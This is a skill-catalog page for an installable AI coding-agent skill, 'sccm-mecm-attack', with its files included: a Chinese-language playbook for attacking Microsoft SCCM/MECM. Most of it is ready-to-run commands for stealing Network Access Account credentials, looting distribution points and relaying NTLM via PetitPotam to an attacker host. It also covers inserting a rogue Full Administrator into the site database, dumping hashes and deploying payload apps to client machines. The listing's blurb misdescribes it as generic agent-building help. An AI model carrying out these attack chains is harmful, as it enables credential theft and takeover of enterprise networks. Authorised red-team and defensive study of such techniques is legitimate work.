
Sccm Mecm Attack
- 22 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
sccm-mecm-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- sccm-mecm-attack
- AI & Agent Building
- AI-coding skill
Sccm Mecm Attack by the numbers
- 22 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #10,137 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill sccm-mecm-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 22 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
SCCM/MECM 攻击
触发条件
在以下场景使用本技能:
- 内网发现 SCCM / MECM / ConfigMgr 服务 (站点服务器、MP、DP)
- DNS 枚举发现
_mssms_mp或_mssms_sulSRV 记录 - 发现 Management Point (MP) 或 Distribution Point (DP)
- 需要利用 SCCM 进行横向移动或凭证获取
- BloodHound / LDAP 枚举发现
mSSMSManagementPoint对象
前置要求
- 域用户凭证 (部分技术支持匿名或机器账号)
- 工具: SharpSCCM, sccmhunter, SCCMSecrets, pxethiefy, cmloot, ntlmrelayx
- 网络可达: MP (TCP 80/443), DP (TCP 80/443), Site DB (TCP 1433), SMS Provider (TCP 443)
SCCM 架构速查表
| 角色 | 说明 | 默认端口 | 关键标识 |
|---|---|---|---|
| Primary Site Server | 核心管理服务器 | - | 运行 SMS_SITE_COMPONENT_MANAGER |
| Management Point (MP) | 客户端策略分发 | 80/443 | IIS CCM_* 虚拟目录 |
| Distribution Point (DP) | 内容分发 | 80/443 | SMS_DP$ 共享 / SCCMContentLib$ |
| Site Database | SQL Server 存储 | 1433 | RBAC_Admins / RBAC_ExtendedPermissions |
| SMS Provider | WMI/AdminService API | 443 | AdminService REST API |
| CAS | 层级顶层 (多站点) | - | 管理多个 Primary |
---
决策树
[开始] 发现 SCCM 基础设施
│
├─ 有域凭证?
│ ├─ 是 → Phase 1: SCCM 侦察
│ └─ 否 → PXE 启动介质 / 匿名注册尝试
│
├─ 凭证获取
│ ├─ 可注册设备或控制机器账号 → Phase 2: 秘密策略提取
│ └─ 已在 SCCM 客户端 → 本地 DPAPI 提取
│
├─ 权限提升
│ ├─ Client Push 启用 → Phase 3: 强制认证 relay
│ └─ 有 SCCM 管理员 → Phase 4: 横向移动
│
└─ 层级接管
└─ 多站点环境 → Phase 5: CAS 传播---
Phase 1: SCCM 侦察
目标: 发现并识别 SCCM 基础设施组件
1.1 DNS SRV 记录查询
# 查找 Management Point
nslookup -type=SRV _mssms_mp._tcp.$DOMAIN
dig SRV _mssms_mp._tcp.$DOMAIN
# 查找 Software Update Point
nslookup -type=SRV _mssms_sul._tcp.$DOMAIN1.2 LDAP 枚举
# 查找 Management Point 对象
([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}
# 查找 SCCM 相关 SPN
setspn -Q *SMS* | findstr /i "SMS"
setspn -Q *SCCM* | findstr /i "SCCM"1.3 sccmhunter 自动侦察
# 发现 SCCM 基础设施
sccmhunter.py find -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP
# SMB 枚举确认角色
sccmhunter.py smb -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP
# 显示发现结果
sccmhunter.py show -smb
sccmhunter.py show -all1.4 本地信息收集
# 本地站点信息 (已安装 SCCM 客户端)
SharpSCCM.exe local site-info
# WMI 查询
Get-WmiObject -Class SMS_Authority -Namespace root\CCM1.5 PXE 启动介质发现
# 探测 PXE 环境 (无需域凭证)
pxethiefy.py explore -i $INTERFACE---
Phase 2: 凭证获取
目标: 提取 NAA 凭证、任务序列密码、DP 敏感文件
2.1 NAA 提取 — 注册新设备
# HTTP MP — SCCMSecrets (推荐)
python3 SCCMSecrets.py policies -mp "http://$MP_IP" \
-u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice"
# HTTPS MP (PKI 环境)
python3 SCCMSecrets.py policies -mp "https://$MP_IP" \
-u '$MACHINE_NAME' -p '$MACHINE_PASSWORD' -cn 'newdevice' \
--pki-cert ./cert.pem --pki-key ./key.pem
# NTLM relay 提取策略
ntlmrelayx.py -t 'http://$MP_IP/ccm_system_windowsauth/request' \
-smb2support --sccm-policies
# sccmhunter 自动化
sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto# Windows — SharpSCCM
SharpSCCM.exe get secrets -r newdevice -u $MACHINE_NAME -p $PASSWORD2.2 PXE 启动介质密码提取
# Phase 1 发现 PXE 后,解密启动介质中的凭证
pxethiefy.py decrypt -f $PXE_MEDIA_FILE2.3 NAA 提取 — 复用已有设备
# 使用已攻陷设备的注册凭据
python3 SCCMSecrets.py policies -mp "http://$MP_IP" \
--use-existing-device compromised_device/2.4 本地 DPAPI 提取
# SystemDPAPIdump (远程)
SystemDPAPIdump.py -creds -sccm $DOMAIN/$USER:$PASSWORD@$TARGET# SharpSCCM 本地
SharpSCCM.exe local secrets disk
SharpSCCM.exe local secrets wmi
# SharpDPAPI
SharpDPAPI.exe SCCM# mimikatz
dpapi::sccm2.5 WMI 直接查询
# NAA 凭证 (加密 blob)
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig \
-Class CCM_NetworkAccessAccount
# 任务序列变量
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig \
-Class CCM_TaskSequence2.6 Distribution Point 文件搜刮
# SCCMSecrets — 按扩展名搜刮
python3 SCCMSecrets.py files -dp "http://$DP_IP" \
-u '$USER' -H '$HASH' \
--extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
# cmloot — 批量搜刮
python3 cmloot.py $DOMAIN/$USER@$TARGET \
-findsccmservers -target-file sccmhosts.txt \
-cmlootdownload sccmfiles.txt---
Phase 3: 权限提升
目标: 通过 Client Push / Site DB / AdminService relay 获取站点管理员
3.1 Client Push 强制认证
原理: Client Push 安装会使用高权限账号对目标发起 NTLM 认证,relay 到其他目标。
# 启动 relay
ntlmrelayx.py -smb2support -socks -ts -ip $ATTACKER_IP -t $TARGET# 触发 Client Push
SharpSCCM.exe invoke client-push -t $TARGET --as-admin3.2 站点接管 — MSSQL Relay
原理: 站点服务器机器账号对 Site Database 有 sysadmin 权限,relay 到 MSSQL 后注入管理员。
# 步骤 1: 启动 MSSQL relay
ntlmrelayx.py -t "mssql://$SITE_DB" -smb2support -socks
# 步骤 2: 触发站点服务器认证 (Coercer / PetitPotam 等)
# 步骤 3: 通过 SOCKS 连接 SQL
proxychains mssqlclient.py "DOMAIN/$SITE_SERVER$"@"$SITE_DB" -windows-auth-- 步骤 4: 注入 SCCM 管理员
-- 先获取目标用户 SID
USE CM_$SITE_CODE;
INSERT INTO RBAC_Admins (AdminSID, LogonName, DisplayName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite)
VALUES ($ADMIN_SID, '$DOMAIN\$USER', '$DOMAIN\$USER', 0, 0, '', '', '', '', '$SITE_CODE');
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
'SMS0001R', 'SMS00ALL', 29);
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
'SMS0001R', 'SMS00001', 1);
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
'SMS0001R', 'SMS00004', 1);3.3 站点接管 — AdminService Relay
# relay 到 SMS Provider AdminService
ntlmrelayx.py -t "https://$SMS_PROVIDER/AdminService/wmi/SMS_Admin" \
-smb2support --adminservice \
--logonname "$DOMAIN\\$USER" \
--displayname "$DOMAIN\\$USER" \
--objectsid $OBJECTSID3.4 Passive → Active 站点服务器 Relay
# relay passive 站点服务器到 active 站点服务器
ntlmrelayx.py -t $ACTIVE_SERVER -smb2support -socks
# 通过 SOCKS dump hash
proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER
# 以 active 站点服务器身份接管
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:$NTHASH -ip $SMS_PROVIDER_IP---
Phase 4: 横向移动
目标: 利用 SCCM 管理员权限在客户端执行命令
4.1 应用部署
# SharpSCCM — 指定资源 ID 执行
SharpSCCM.exe exec -rid $RESOURCE_ID -r $TARGET4.2 PowerSCCM 完整工作流
# 发现站点代码
Find-SccmSiteCode -ComputerName $SITE_SERVER
# 建立会话
$session = New-SccmSession -ComputerName $SITE_SERVER -SiteCode $SITE_CODE -Credential $CRED
# 创建恶意应用
New-SccmApplication -Session $session -ApplicationName "evilApp" \
-PowerShellB64 $ENCODED_PAYLOAD
# 部署到目标
New-SccmApplicationDeployment -Session $session -ApplicationName "evilApp" \
-AssignmentName "deploy" -CollectionName "target_collection"
# 强制客户端检入
Invoke-SCCMDeviceCheckin -Session $session -CollectionName "target_collection"4.3 CMScript 执行
New-CMScriptDeployement -CMDrive 'E' -ServerFQDN '$SITE_SERVER' \
-TargetDevice '$TARGET' -Path '.\payload.ps1' -ScriptName 'evilScript'4.4 AdminService API 交互
# sccmhunter 管理控制台
sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "$SITE_SERVER_IP"
# 交互命令: help, interact, ps, ls, cat, exec, etc.---
Phase 5: 层级接管
目标: 从单站点扩展到整个 SCCM 层级
5.1 CAS 自动传播
在任一 Primary 站点添加的管理员会自动传播到 CAS 及所有子站点。利用 Phase 3 在一个 Primary 上执行 add_admin 后,等待复制同步即可控制全部站点。
# 在 sccmhunter admin 会话中
add_admin $DOMAIN\\$USER $ADMIN_SID5.2 TAKEOVER-5: 跨站点 AdminService Relay
在多站点环境中,relay 到远程 SMS Provider 的 AdminService 添加管理员。
ntlmrelayx.py -t "https://$REMOTE_SMS_PROVIDER/AdminService/wmi/SMS_Admin" \
-smb2support --adminservice \
--logonname "$DOMAIN\\$USER" \
--displayname "$DOMAIN\\$USER" \
--objectsid $OBJECTSID注意: ConfigMgr 2509+ 默认拒绝 AdminService 上的 NTLM 认证,此技术仅适用于早期版本。
---
常见问题排查
无法注册新设备
1. MP 要求 HTTPS + 客户端证书 — 需获取 PKI 证书或 relay 2. 自动审批未开启 — 尝试 relay 已批准设备的认证 3. 站点配置 "仅域加入设备" — 需使用已有机器账号
NAA 提取为空
1. 站点未配置 NAA (eNAA 环境) — 尝试任务序列提取 2. NAA 密码已过期 — 检查 Collection Variables 3. WMI 策略尚未下发 — 等待策略刷新周期
Relay 失败
1. 目标启用 SMB 签名 — 无法 relay SMB,改用 HTTP/MSSQL 2. EPA (Extended Protection for Authentication) — 绕过需要 TLS 证书私钥 3. ConfigMgr 2509+ 拒绝 NTLM on AdminService — 需使用 MSSQL 路径
---
工具参考
| 工具 | 用途 | 平台 |
|---|---|---|
| sccmhunter | SCCM 侦察/利用/管理 | Linux |
| SharpSCCM | SCCM 客户端利用 | Windows |
| SCCMSecrets | 策略/NAA/DP 提取 | Linux |
| pxethiefy | PXE 启动介质分析 | Linux |
| cmloot / sccm-http-looter | DP 文件搜刮 | Linux |
| ntlmrelayx | NTLM relay 攻击 | Linux |
| PowerSCCM | SCCM 管理操作 | Windows |
---
深入参考
- → references/sccm-enumeration.md — SCCM 侦察方法与工具命令参考
- → references/credential-harvesting.md — 秘密策略提取、NAA/任务序列/DP 凭证获取详解
- → references/site-takeover.md — 站点接管与横向移动完整攻击链
SCCM 凭证获取详解
秘密策略架构
设备注册与策略分发
SCCM 通过"秘密策略" (Secret Policy) 向已批准的客户端分发敏感信息,包括:
- Network Access Account (NAA) — 域凭证,用于非域加入设备访问 DP
- 任务序列密码 — OS 部署中的嵌入凭证
- Collection Variables — 可能包含明文密码
两个注册端点
| 端点 | 路径 | 认证方式 |
|---|---|---|
| Windows Auth | /ccm_system_windowsauth/request | NTLM/Kerberos |
| Certificate Auth | /ccm_system/request | 客户端证书 |
自动审批风险
若站点配置"自动审批所有计算机" (默认 workgroup 场景),任何持有机器账号凭据的攻击者均可注册新设备并获取秘密策略。
原理: 注册设备后,SCCM 向其分发包含 NAA 凭证的策略。NAA 使用 DPAPI 加密存储,但策略传输时的加密密钥由注册流程协商,攻击者持有私钥即可解密。
---
NAA 提取 — 注册新设备
方法 1: SCCMSecrets.py (推荐)
# HTTP Management Point
python3 SCCMSecrets.py policies -mp "http://$MP_IP" \
-u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice"# HTTPS Management Point (PKI 环境)
python3 SCCMSecrets.py policies -mp "https://$MP_IP" \
-u '$MACHINE_NAME' -p '$MACHINE_PASSWORD' -cn 'newdevice' \
--pki-cert ./cert.pem --pki-key ./key.pemSCCMSecrets 会自动: 1. 使用提供的机器账号向 MP 注册新设备 2. 请求并下载秘密策略 3. 解密 NAA 凭证并输出明文
方法 2: sccmhunter http
# 自动化注册 + 策略提取
sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto
# 指定 MP
sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP \
-mp "http://$MP_IP" -auto方法 3: SharpSCCM (Windows)
# 注册新设备并提取秘密
SharpSCCM.exe get secrets -r newdevice -u $MACHINE_NAME -p $PASSWORD---
NAA 提取 — NTLM Relay
无需域凭证,通过 relay 已有设备的 NTLM 认证到 MP。
# 启动 relay 到 MP 的 Windows Auth 端点
ntlmrelayx.py -t 'http://$MP_IP/ccm_system_windowsauth/request' \
-smb2support --sccm-policies触发认证后 (如通过 Responder / mitm6),relay 到 MP 获取策略。
原理: relay 使用被害者的 NTLM 认证,如果被害者是已批准的 SCCM 客户端,MP 会返回包含 NAA 的秘密策略。
---
复用已有设备凭据
如果已攻陷一台 SCCM 客户端,可以提取其注册凭据后直接请求策略。
# 提取已有设备的注册信息 (需先从目标获取 compromised_device/ 目录)
python3 SCCMSecrets.py policies -mp "http://$MP_IP" \
--use-existing-device compromised_device/设备注册信息通常存储在:
C:\Windows\SMSCFG.ini— SCCM GUIDHKLM\SOFTWARE\Microsoft\SystemCertificates\SMS\Certificates— 注册证书
---
本地 DPAPI 提取
已在目标 SCCM 客户端上获得 SYSTEM 权限时,从本地 DPAPI 存储提取 NAA。
SystemDPAPIdump (远程)
SystemDPAPIdump.py -creds -sccm $DOMAIN/$USER:$PASSWORD@$TARGETSharpSCCM 本地提取
# 从磁盘上的 DPAPI blob 提取
SharpSCCM.exe local secrets disk
# 从 WMI 提取
SharpSCCM.exe local secrets wmiSharpDPAPI
SharpDPAPI.exe SCCMmimikatz
# SCCM DPAPI 解密
dpapi::sccm原理: SCCM 客户端将 NAA 凭证以 DPAPI 加密的形式存储在本地。以 SYSTEM 身份可以使用机器 DPAPI 主密钥解密获取明文凭证。
---
WMI 直接查询
在 SCCM 客户端上通过 WMI 查询策略缓存 (需 SYSTEM 权限)。
# Network Access Account (加密 blob)
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig `
-Class CCM_NetworkAccessAccount
# 任务序列
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig `
-Class CCM_TaskSequence
# 集合变量 (可能包含明文密码)
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig `
-Class CCM_CollectionVariableWMI 返回的 NAA 为加密 blob,需配合 DPAPI 解密。CCM_CollectionVariable 可能直接包含明文凭证。
---
Distribution Point 文件搜刮
DP 上存储所有部署的软件包、脚本、配置文件,可能包含凭证。
SCCMSecrets.py files
# 按扩展名搜刮敏感文件
python3 SCCMSecrets.py files -dp "http://$DP_IP" \
-u '$USER' -H '$HASH' \
--extensions '.txt,.xml,.ps1,.pfx,.ini,.conf,.config,.bat,.cmd'cmloot.py
# 发现 SCCM 服务器并批量搜刮
python3 cmloot.py $DOMAIN/$USER@$TARGET \
-findsccmservers \
-target-file sccmhosts.txt \
-cmlootdownload sccmfiles.txtsccm-http-looter
# HTTP 匿名访问 DP 内容
python3 sccm-http-looter.py -d "http://$DP_IP" -o ./loot/CMLoot PowerShell
# PowerShell 版本 DP 搜刮
Invoke-CMLootInventory -SCCMHost $DP_IP -Outfile packages.txt
Invoke-CMLootDownload -InventoryFile packages.txt -OutFolder ./loot/高价值文件类型
| 扩展名 | 可能内容 |
|---|---|
.ps1, .bat, .cmd | 部署脚本 (可能含硬编码密码) |
.xml, .config | 配置文件 (连接字符串、凭证) |
.pfx, .cer | 证书和私钥 |
.ini | 旧式配置 (明文密码) |
.mof | WMI 配置 |
.vbs | VBScript 部署脚本 |
---
凭证获取检查清单
[ ] 确认 MP 为 HTTP 还是 HTTPS
[ ] 尝试 SCCMSecrets.py 注册新设备提取 NAA
[ ] 尝试 sccmhunter http -auto
[ ] 如有已攻陷客户端 — DPAPI 本地提取
[ ] 如无凭证 — NTLM relay 到 MP
[ ] WMI 查询: CCM_NetworkAccessAccount, CCM_TaskSequence, CCM_CollectionVariable
[ ] DP 文件搜刮: SCCMSecrets files / cmloot
[ ] PXE 启动介质密码提取
[ ] NAA 为空时检查 eNAA 环境 / Collection VariablesSCCM 侦察方法与工具命令参考
DNS SRV 记录查询
SCCM 在 DNS 中注册 SRV 记录用于客户端自动发现 Management Point。
# 查找 Management Point
nslookup -type=SRV _mssms_mp._tcp.$DOMAIN
dig SRV _mssms_mp._tcp.$DOMAIN
# 查找 Software Update Point (SUP)
nslookup -type=SRV _mssms_sul._tcp.$DOMAIN
dig SRV _mssms_sul._tcp.$DOMAIN原理: SCCM 客户端使用 _mssms_mp._tcp SRV 记录定位 Management Point。如果管理员启用了 DNS 发布 (默认行为),攻击者可通过 DNS 枚举直接定位 SCCM 基础设施。
---
LDAP 属性枚举
SCCM Management Point 在 Active Directory 中创建 mSSMSManagementPoint 对象类。
# PowerShell — 查找 Management Point
([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | ForEach-Object {
$_.Properties
}
# 查找 SCCM 相关 SPN
setspn -Q *SMS* | findstr /i "SMS"
setspn -Q *SCCM* | findstr /i "SCCM"# ldapsearch
ldapsearch -H ldap://$DC_IP -D "$USER@$DOMAIN" -w "$PASSWORD" \
-b "DC=${DOMAIN%%.*},DC=${DOMAIN##*.}" \
"(objectClass=mSSMSManagementPoint)" \
mSSMSMPName mSSMSDefaultMP mSSMSSiteCode dNSHostName关键 LDAP 属性
| 属性 | 说明 |
|---|---|
mSSMSMPName | Management Point FQDN |
mSSMSSiteCode | 站点代码 (如 PS1) |
mSSMSDefaultMP | 是否为默认 MP |
mSSMSDeviceManagementPoint | 设备管理点标识 |
dNSHostName | 服务器 DNS 名称 |
---
sccmhunter 模块详解
sccmhunter 是 SCCM 攻击的核心工具,包含多个模块。
find 模块 — 发现 SCCM 基础设施
# 自动发现所有 SCCM 组件
sccmhunter.py find -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP输出包含: 站点服务器、Management Point、Distribution Point、SMS Provider、Site Database 等。
smb 模块 — 角色确认
# 通过 SMB 签名/服务确认角色
sccmhunter.py smb -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IPshow 模块 — 结果展示
# 显示 SMB 枚举结果
sccmhunter.py show -smb
# 显示所有发现结果
sccmhunter.py show -all
# 显示用户/计算机信息
sccmhunter.py show -users
sccmhunter.py show -computershttp 模块 — 策略提取
# 自动注册设备并提取 NAA
sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto
# 指定 MP
sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP \
-mp "http://$MP_IP" -auto---
SharpSCCM 本地侦察
在已安装 SCCM 客户端的 Windows 主机上执行。
# 本地站点信息
SharpSCCM.exe local site-info
# 枚举 SCCM 管理员
SharpSCCM.exe get class-instances SMS_Admin
# 查看站点保留信息
SharpSCCM.exe get class-instances SMS_SCI_Reserved
# 列出所有集合
SharpSCCM.exe get class-instances SMS_Collection
# 列出所有设备
SharpSCCM.exe get class-instances SMS_R_System -p "Name" -p "ResourceId" -p "SMSUniqueIdentifier"---
SCCM 角色识别表
通过端口、服务、文件特征识别 SCCM 角色。
| 特征 | 角色 |
|---|---|
TCP 80/443 + IIS CCM_* 虚拟目录 | Management Point |
TCP 80/443 + SMS_DP$ 共享 | Distribution Point |
TCP 80/443 + SCCMContentLib$ 共享 | Distribution Point |
TCP 1433 + CM_<SITECODE> 数据库 | Site Database |
SMS_SITE_COMPONENT_MANAGER 服务 | Primary Site Server |
AdminService REST API (TCP 443) | SMS Provider |
smsexec.exe / ccmexec.exe 进程 | SCCM 客户端 |
WDS (Windows Deployment Services) | PXE Service Point |
---
PXE 启动介质发现
PXE 环境可在无域凭证的情况下发现 SCCM。
# pxethiefy — 探测 PXE 环境
pxethiefy.py explore -i $INTERFACE
# 如果发现 PXE 启动介质,提取密码
pxethiefy.py decrypt -i $INTERFACE原理: SCCM PXE 启动介质可能包含明文或弱加密的任务序列密码。通过 DHCP 广播发现 PXE 服务后,下载启动镜像并提取其中的凭证。
---
WMI 查询
在已安装 SCCM 客户端的主机上,通过 WMI 查询本地策略。
# 检查 SCCM 客户端安装
Get-WmiObject -Class SMS_Authority -Namespace root\CCM
# 查看站点代码
Get-WmiObject -Namespace root\CCM -Class SMS_Client | Select-Object AssignedSite
# 查看 Management Point
Get-WmiObject -Namespace root\CCM -Class SMS_LookupMP
# 查看网络访问账号 (加密)
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig \
-Class CCM_NetworkAccessAccount
# 查看集合变量
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig \
-Class CCM_CollectionVariable---
枚举检查清单
[ ] DNS SRV 查询 (_mssms_mp, _mssms_sul)
[ ] LDAP 查询 (mSSMSManagementPoint)
[ ] SPN 枚举 (SMS*, SCCM*)
[ ] sccmhunter find + smb + show
[ ] 本地 WMI (root\CCM) — 如已在客户端
[ ] PXE 探测 (pxethiefy)
[ ] SharpSCCM local site-info — 如已在客户端
[ ] 确认角色: MP, DP, Site Server, Site DB, SMS Provider
[ ] 确认站点代码
[ ] 确认 HTTP vs HTTPS MPSCCM 站点接管与横向移动攻击链
Relay 到 MSSQL Site Database
攻击概述
站点服务器机器账号对 Site Database 拥有 sysadmin 权限。通过 relay 站点服务器的 NTLM 认证到 MSSQL,可以直接操作数据库注入 SCCM 管理员。
完整攻击流程
步骤 1: 获取目标用户 SID
# 通过 LDAP 查询用户 SID
pywerview get-netuser -u $USER -p $PASSWORD -d $DOMAIN --dc-ip $DC_IP \
--username $TARGET_USER --attributes objectSid# PowerShell
(New-Object System.Security.Principal.NTAccount("$DOMAIN\$USER")).Translate(
[System.Security.Principal.SecurityIdentifier]).Value步骤 2: 启动 MSSQL Relay
ntlmrelayx.py -t "mssql://$SITE_DB" -smb2support -socks步骤 3: 触发站点服务器认证
使用任意强制认证方法 (PetitPotam, PrinterBug, DFSCoerce 等) 强制站点服务器向攻击者发起认证:
# PetitPotam
PetitPotam.py $ATTACKER_IP $SITE_SERVER
# Coercer
coercer coerce -u $USER -p $PASSWORD -d $DOMAIN \
-l $ATTACKER_IP -t $SITE_SERVER步骤 4: 通过 SOCKS 连接 SQL
proxychains mssqlclient.py "$DOMAIN/$SITE_SERVER$"@"$SITE_DB" -windows-auth步骤 5: SQL 注入管理员
USE CM_$SITE_CODE;
-- 插入管理员记录
INSERT INTO RBAC_Admins (AdminSID, LogonName, DisplayName, IsGroup, IsDeleted,
CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite)
VALUES ($ADMIN_SID, '$DOMAIN\$USER', '$DOMAIN\$USER',
0, 0, '', '', '', '', '$SITE_CODE');
-- 查询插入的 AdminID
SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER';
-- 授予 Full Administrator 权限 (RoleID = SMS0001R)
-- ScopeID SMS00ALL = All Scope, ScopeTypeID 29 = All Instances
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
'SMS0001R', 'SMS00ALL', 29);
-- All Systems 集合
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
'SMS0001R', 'SMS00001', 1);
-- All Users and Groups 集合
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
'SMS0001R', 'SMS00004', 1);原理: SCCM RBAC 存储在 Site Database 的 RBAC_Admins 和 RBAC_ExtendedPermissions 表中。直接操作这些表等同于通过 ConfigMgr 控制台添加管理员。SMS0001R 为 "Full Administrator" 角色 ID。
---
Relay 到 AdminService HTTP API
攻击概述
SMS Provider 的 AdminService REST API 支持管理员管理操作。通过 relay 到此端点可直接添加 SCCM 管理员。
ntlmrelayx.py -t "https://$SMS_PROVIDER/AdminService/wmi/SMS_Admin" \
-smb2support --adminservice \
--logonname "$DOMAIN\\$USER" \
--displayname "$DOMAIN\\$USER" \
--objectsid $OBJECTSID触发强制认证后,ntlmrelayx 使用 relay 的凭据向 AdminService 发送 POST 请求,创建新的管理员账号。
原理: AdminService 是 SMS Provider 的 REST API,提供与 WMI 同等的管理能力。SMS_Admin 类的 POST 操作等同于在控制台添加管理员。
限制: ConfigMgr 2509+ 默认在 AdminService 上拒绝 NTLM 认证,此技术仅适用于早期版本。
---
Passive → Active 站点服务器 Relay
攻击概述
在高可用配置中,passive 站点服务器对 active 站点服务器有特殊信任关系。relay passive 服务器的认证到 active 服务器可获取其凭据。
完整攻击流程
步骤 1: 启动 SMB Relay
ntlmrelayx.py -t $ACTIVE_SERVER -smb2support -socks步骤 2: 触发 Passive 服务器认证
PetitPotam.py $ATTACKER_IP $PASSIVE_SERVER步骤 3: 通过 SOCKS Dump Hash
proxychains4 secretsdump.py "$DOMAIN/$PASSIVE_SERVER\$"@"$ACTIVE_SERVER"步骤 4: 以 Active 站点服务器身份接管
sccmhunter.py admin -u "$ACTIVE_SERVER\$" -p "$LMHASH:$NTHASH" \
-ip $SMS_PROVIDER_IP
# 在 admin 会话中添加管理员
add_admin $DOMAIN\\$USER $ADMIN_SID---
应用部署横向移动
SharpSCCM exec
需要 SCCM 管理员权限。通过创建恶意应用并部署到目标执行命令。
# 按资源 ID 执行
SharpSCCM.exe exec -rid $RESOURCE_ID -r $TARGET
# 指定设备名称
SharpSCCM.exe exec -d $TARGET_NAME -r $TARGETPowerSCCM 完整工作流
# 1. 发现站点代码
Find-SccmSiteCode -ComputerName $SITE_SERVER
# 2. 建立管理会话
$session = New-SccmSession -ComputerName $SITE_SERVER \
-SiteCode $SITE_CODE -Credential $CRED
# 3. 创建恶意应用
New-SccmApplication -Session $session -ApplicationName "evilApp" \
-PowerShellB64 $ENCODED_PAYLOAD
# 4. 部署到目标集合
New-SccmApplicationDeployment -Session $session \
-ApplicationName "evilApp" -AssignmentName "deploy" \
-CollectionName "target_collection"
# 5. 强制客户端检入 (加速执行)
Invoke-SCCMDeviceCheckin -Session $session \
-CollectionName "target_collection"CMScript 替代方案
# 通过 CMScript 功能执行 PowerShell 脚本
New-CMScriptDeployement -CMDrive 'E' -ServerFQDN '$SITE_SERVER' \
-TargetDevice '$TARGET' -Path '.\payload.ps1' -ScriptName 'evilScript'AdminService API 交互
# sccmhunter 管理控制台
sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "$SITE_SERVER_IP"在 admin 会话中可用命令:
| 命令 | 说明 |
|---|---|
help | 显示可用命令 |
interact $RESOURCE_ID | 与指定设备交互 |
ps | 列出进程 |
ls $PATH | 列出目录 |
cat $FILE | 读取文件 |
exec $COMMAND | 执行命令 |
add_admin $USER $SID | 添加 SCCM 管理员 |
remove_admin $USER | 移除管理员 |
get_user $USER | 查询用户信息 |
get_device $DEVICE | 查询设备信息 |
---
层级接管 (Hierarchy Takeover)
CAS 自动传播
在多站点 SCCM 环境中 (CAS + 多个 Primary),管理员记录会在站点间自动复制同步。
CAS (Central Administration Site)
├─ Primary Site A ← 在此添加管理员
├─ Primary Site B ← 自动同步
└─ Primary Site C ← 自动同步利用方式: 在任一 Primary 站点通过上述任意方法添加管理员后,等待站点复制周期 (通常几分钟到几小时),管理员权限会自动传播到 CAS 及所有子站点。
# 在 sccmhunter admin 会话中添加管理员
add_admin $DOMAIN\\$USER $ADMIN_SID
# 验证传播 (在其他站点)
sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "$OTHER_SITE_IP"TAKEOVER-5: 跨站点 AdminService Relay
在多站点环境中,relay 任意站点服务器的认证到另一站点的 SMS Provider。
# relay 到远程站点的 AdminService
ntlmrelayx.py -t "https://$REMOTE_SMS_PROVIDER/AdminService/wmi/SMS_Admin" \
-smb2support --adminservice \
--logonname "$DOMAIN\\$USER" \
--displayname "$DOMAIN\\$USER" \
--objectsid $OBJECTSID限制: 仅适用于 ConfigMgr v2509 之前的版本。
---
OPSEC 注意事项
ConfigMgr 2509+ 安全增强
